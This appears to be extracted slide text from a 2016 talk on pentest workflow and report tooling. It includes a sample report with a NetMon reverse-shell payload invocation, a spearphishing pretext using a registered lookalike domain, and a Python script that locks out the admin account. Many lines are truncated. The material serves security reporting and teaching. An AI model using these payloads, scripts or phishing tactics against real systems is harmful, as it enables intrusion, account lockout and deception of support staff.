Pentesting ChatOps

Dr. Melanie Rieback

May 26, 2016

melanie@radical.sexy
When hackers grow up...

CONSULTING
If you’re not a part of the solution, there’s good money to be made in prolonging the problem.
What is ChatOps?
Pentesting ChatOps

Radically Open Security

May 26, 2016
Writing a test report

Tools

First of all, make sure you have the right tools installed. Check the tools manual for more info.

Main structure

The report’s main element is `<pentest_report>`. It contains four major parts:

- Document information (metadata), in the element `<meta>`
- The index, in the element `<generate_index>`
- A variable number of sections (main content), in several `<section>` elements
- A variable number of appendices (extra content), in one or more `<appendix>` elements

Additionally, the `<pentest_report>` element has two attributes:
<section id="attack_narrative">
<title>Attack Narrative</title>
<p>While conducting discovery against the target systems it was discovered that a NetMon 1.4.2 NetMon is enterprise network monitoring software for physical, virtual, and cloud-based IT infra
<img src="/graphics/netmon_login.png" width="150" />
<p>While reviewing the security of this internet-facing application, we went through the change
In version 1.5, we discovered the following suspicious entry:<p>
<title>Step 1: Finding the NetMon Vulnerabilities</title>
<p>We discovered a vulnerability in this routine (see <a href="#remote_code_execution" />), which
The 'client/submit' routine is only accessible to logged-in users, and thus the vulnerability could
To perform this attack in a robust way, we wrote a payload generation script.
This script generates a link containing a malicious payload that, when clicked, will spawn a re
Here is an example of the payload generation script's invocation:<p>
<pre>$ python build_payload.py 192.168.0.13 31337 10.0.5.15:3000 "http://10.0.5.15:3000/client/submit/"&lt;IDaecho&gt;7DVbMEBAAAAAAAATIAwWBRBBAAVIECDQAAAABBBBAAAABAAAAAAAQAIAABBBBAAAABAAAAAAAC<br/>
&lt;p&gt;The payload can then be triggered as follows:&lt;/p&gt;
&lt;p&gt;http://10.0.5.15:3000/client/submit/&lt;IDaecho&gt;7DVbMEBAAAAAAAATIAwWBRBBAAVIECDQAAAABBBBAAAABAAAAAAAQAIAABBBBAAAABAAAAAAAC<br/>
</pre>
&lt;img src="payload_url" /&gt;&lt;/p&gt;
&lt;p&gt;In such a way, generated payloads can be included in an innocent-looking website, which
And when visited, this website will exploit the NetMon host by attacking the vulnerable
</section>
<section id="spearfishing">
<title>Step 2: Spearphishing the Sitting Duck Support Staff</title>
<p>The targets of our spearphishing campaign were Sitting Duck Support Engineers. For this atta
Radically Open Security, for the purpose of this pentest, has received an account with Sitt
<img src="/graphics/email_error/screenshot.png" />
&lt;p&gt;In order to get the Sitting Duck Support Engineers to click on our phishing link, we figured
We then registered the domain 'kvenk.by', and created an IMAP account for a fictional employee,
&lt;p&gt;Here is an English translation of the phishing email:&lt;/p&gt;
&lt;p&gt;Dear Sitting Duck Support,

While we're not actually a formal customer of Sitting Duck, Daan de Boer has donated a website account to us (Kinderen Museum V)
But we're currently having errors with the email account management. Daan suggested that I shoot an email to support@si
</section>
NetMon recommends to "remove the public access" to disable this behavior, see http://docs.netmon.io/docs/core/support.

5.1.10 SID-010 — Denial of Service

Vulnerability ID: SID-010
Vulnerability type: Denial of Service
Threat level: Low

Description:
The bruteforce hammering protection of Open Server Watch sets timeouts on a per-username basis. An attacker could automatically hit the server repeatedly with relevant usernames (e.g. “admin”) in order to lock out those users from logging in.

Technical description:
The following python script repeatedly attempts to login as the admin user:

```python
#!/usr/bin/python
import mechanize
mech = mechanize.Browser()
mech.set_handle_equiv(True)
mech.set_handle_redirect(True)
mech.set_handle_referer(True)
users = ["admin", 'password']
mech.open('https://osw.sittingduck.bv/login.htm')
for u, p in users:
    mech.select_form(nr=0)
    mech.form['user'] = u
    mech.form['pass'] = p
    response = mech.submit()
    if response.geturl() == 'https://osw.sittingduck.bv/login_success.html':
```

Radically Open Security

May 26, 2016
Pentesting ChatOps(2)
Pentesting ChatOps(3)

<table>
<thead>
<tr>
<th>Name</th>
<th>Last Update</th>
<th>Last Commit</th>
</tr>
</thead>
<tbody>
<tr>
<td>Binaries</td>
<td>15 days ago</td>
<td>Initial setup</td>
</tr>
<tr>
<td>Findings</td>
<td>2 days ago</td>
<td>i's</td>
</tr>
<tr>
<td>Non-Findings</td>
<td>2 days ago</td>
<td>i's</td>
</tr>
<tr>
<td>Pics</td>
<td>10 days ago</td>
<td>ADD FINDING on error messages</td>
</tr>
<tr>
<td>Report</td>
<td>2 days ago</td>
<td>Merge branch 'master' of ssh://gitlabs.radicallyopensecurity.com/...</td>
</tr>
<tr>
<td>Scans</td>
<td>2 days ago</td>
<td>i's</td>
</tr>
<tr>
<td>Source</td>
<td>11 days ago</td>
<td>Added ssh://gitlabs.radicallyopensecurity.com/...</td>
</tr>
<tr>
<td>templates</td>
<td>15 days ago</td>
<td>templates for reporting</td>
</tr>
<tr>
<td>OFF-08122015.v1.2:pent...</td>
<td>14 days ago</td>
<td>Offerte and system details</td>
</tr>
<tr>
<td>README.md</td>
<td>15 days ago</td>
<td>git checkout comment in readme</td>
</tr>
<tr>
<td>notes.txt</td>
<td>14 days ago</td>
<td>Added nmap results of ssh://gitlabs.radicallyopensecurity.com/...</td>
</tr>
<tr>
<td>systeminfo.txt</td>
<td>11 days ago</td>
<td>2nd advisor</td>
</tr>
</tbody>
</table>

Note: git clone command:

```bash
git clone ssh://git@gitlabs.radicallyopensecurity.com/... git
```
Passive Vulnerability Scanning
Red/Blue Pentesting
What Else Can We Integrate?

- **Scanning + Exploitation:**
  - Nmap, w3af, sqlmap, hydra, etc..

- **Reconnaisance:**
  - Whois, Google, PassiveScan, etc..

- **Cryptography**
  - Hash cracking, etc..

- **Other:**
  - Email/SMS integration, spearphishing
Questions?

Radically Open Security

May 26, 2016